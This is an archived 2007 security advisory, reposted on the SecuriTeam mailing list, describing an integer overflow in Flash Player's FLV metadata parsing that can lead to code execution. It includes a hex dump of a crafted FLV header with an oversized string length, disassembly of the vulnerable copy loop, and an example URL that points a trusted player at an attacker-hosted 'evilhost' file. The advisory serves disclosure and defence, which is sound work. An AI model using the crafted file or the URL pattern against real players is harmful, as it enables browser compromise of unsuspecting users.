

# [NEWS] Flash Player/Plugin Video file parsing Code Execution

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-07/msg00043.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 15 Jul 2007 17:16:13 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Flash Player/Plugin Video file parsing Code Execution

---

## SUMMARY

By using a specially crafted "flv" video it's possible to trigger an integer overflow inside Adobe Flash interpreter which could lead to client/browser-plugin crash, arbitrary code execution or system denial of service. All OS (Windows, Linux, MacOS,...) seem to be affected.

This is a very dangerous vulnerability, in fact, an attacker could force a flash video player that is already in place on a remote web site to crash and execute arbitrary code in the context of the local machine.

## DETAILS

Vulnerable Systems:

- \* Flash Plugin 9.0.28.0 Windows
- \* Flash Player 9.0.28.0 Windows
- \* Flash Plugin 9.0.31.0 Linux
- \* Flash Player 9.0.31.0 Linux

As described in the [flash\\_fileformat\\_specification.pdf](#) paper, available on

## [NEWS] Flash Player/Plugin Video file parsing Code Execution

Adobe web site, flv files could contain the following sections:

- 1.Audio
- 2.Video
- 3.DataObject (Metadata)

Any of these is identified by a single byte value:

- 0x08 – Audio Section
- 0x09 – Video Section
- 0x12 – DataObject Section

"Metadata format description" states that for each object in the DataObject Section it's possible to define the name and the data type from a list of bytecodes:

- 0x00 = Number type
- 0x01 = Boolean type
- 0x02 = String type
- 0x03 = Object type
- 0x04 = MovieClip type
- 0x05 = Null type
- 0x06 = Undefined type
- 0x07 = Reference type
- 0x08 = ECMA array type
- 0x0a = Strict array type
- 0x0b = Date type
- 0x0c = Long string type

---

Furthermore there are other descriptors not described in the official adobe document:

- 0x0d = "Unsupported",
- 0x0e = "RecordSet",
- 0x0f = "XML",
- 0x10 = "TypedObject",
- 0x11 = "AMF3Data"

---

So now let's have a look at the following flv header:

```
0x12 DATAOBJECT (Metadata)->---->---->---.
!  
0000000: 464c 5601 0100 0000 0900 0000 0012 0003 FLV.....  
0000010: 0000 0000 0000 0000 0200 0a6f 6e4d 6574 .....onMet  
0000020: 6144 6174 6108 ffff ffff ffff 656e 7403 aData.....ent.  
0000030: 0002 6173 0002 7966 0961 6d65 7301 0100 ..as..yf.ames...  
0000040: 0969 6e74 730a 0000 0000 000d 6175 6469 .ints.....audi  
0000050: 6f64 6174 6172 6174 6500 0000 0000 0000 odatarate.....
```

## [NEWS] Flash Player/Plugin Video file parsing Code Execution

```
0000060: 0000 0008 6861 7356 6964 656f 0101 0006 ....hasVideo....
0000070: 7374 6572 656f 0300 0009 000c 6361 6e53 stereo.....canS
0000080: 6565 6b54 6f45 6e64 0101 0009 6672 616d eekToEnd....fram
0000090: 6572 6174 6500 4034 0000 0000 0000 000f erate.@xxxxxxxxx
.....:
```

Then after the name of the object for example, "onMetadata", there is the byte value which defines the proper datatype for the object (0x08 in our example).

The content datatype can be switched to any of the previous types, including "Long string type" (0x0c) and "XML" (0x0f) using an HexEditor tool.

Byte "0x0c" states that a field will contain a long string; a long string has a length that must be defined:

---

StringLength | UI32 String | length in bytes

---

StringData | STRING String | datas

---

The definer of the string length it's an (unsigned) int 32 bit.

By supplying a data type of 0x0c or 0x0f and then setting the length to the highest values (0xffff) the client interpreter could crash or execute arbitrary code:

```
0000000: 464c 5601 0100 0000 0900 0000 0012 0003 FLV.....
0000010: 0000 0000 0000 0000 0200 0a6f 6e4d 6574 .....onMet
```

```
0x0c ->--->--->----->.
```

```
.
0000020: 6144 6174 610c ffff ffff ffff 656e 7403 aData.....ent.
0000030: 0002 6173 0002 7966 0961 6d65 7301 0100 ..as..yf.ames...
0000040: 0969 6e74 730a 0000 0000 000d 6175 6469 .ints.....audi
0000050: 6f64 6174 6172 6174 6500 0000 0000 0000 odatarate.....
0000060: 0000 0008 6861 7356 6964 656f 0101 0006 ....hasVideo....
0000070: 7374 6572 656f 0300 0009 000c 6361 6e53 stereo.....canS
0000080: 6565 6b54 6f45 6e64 0101 0009 6672 616d eekToEnd....fram
0000090: 6572 6174 6500 4034 0000 0000 0000 000f erate.@xxxxxxxxx
.....:
```

Let's think about a swf player which loads at run time a specially crafted flv video:

---

```
connection_nc = new NetConnection();
connection_nc.connect(null);
```

## [NEWS] Flash Player/Plugin Video file parsing Code Execution

```
stream_ns = new NetStream(connection_nc);
video_holder.attachVideo(stream_ns);
stream_ns.setBufferTime(2);
stream_ns.play('theflvfile.flv');
```

Example of abusing this vulnerability by exploiting a remote swf player:  
<http://videoplayerhost.tld?flvUrl=http://evilhost/flvmovie.flv>

The trusted web video player will open the file crashing the user's browser or executing the code supplied by the attacker.

Runtime analysis:

This analysis of the vulnerability was tested against the following component on Windows XP-SP2 (Italian)  
FLASH9B.OCX v9.0.28.0

The vulnerable code in the module is located at:

```
3019C916 75 14 JNZ SHORT Flash9b.3019C92C
3019C918 C1E9 02 SHR ECX,2
3019C91B 83E2 03 AND EDX,3
3019C91E 83F9 08 CMP ECX,8
3019C921 72 29 JB SHORT Flash9b.3019C94C
3019C923 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
3019C925 FF2495 3CCA1930 JMP DWORD PTR DS:[EDX*4+3019CA3C]
```

ECX is loaded with the large invalid value (0xFFFFFFFF) supplied by the attacker with a special crafted FLV file. The value is converted to 0x3FFFFFFF by SHR and is compared against 0x08 without a proper sign check.

As result, the next REP MOVS instruction will move an extremely large buffer from ESI->EDI and will overwrite critical regions of the memory.

Due to the memory corruption generated by REP MOVS instruction, Flash9b module will crash due to an access violation when writing. It has been observed that after the crash, the code execution is eventually redirected to the following code of the module:

CALL DWORD [EAX + X] ; where X is a constant value

EAX value gets loaded from a buffer pointed by ECX which is partially overwritten by the data coming from the malformed FLV file and so the remote code execution is reliable.

Disclosure Timeline:

12/03/2007 – Initial vendor notification

14/03/2007 – Vendor Confirmed

08/07/2007 – Coordinated public disclosure

[NEWS] Flash Player/Plugin Video file parsing Code Execution

10/07/2007 – Vendor Security Bulletin  
12/07/2007 – Minded Security Research Lab Advisory

ADDITIONAL INFORMATION

The information has been provided by <<mailto:research@xxxxxxxxxxxxxxxxxxxx>>  
Minded Security Research Labs.  
The original article can be found at:  
<<http://www.mindedsecurity.com/labs/advisories/MSA01110707>>  
<http://www.mindedsecurity.com/labs/advisories/MSA01110707>

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

**DISCLAIMER:**  
The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.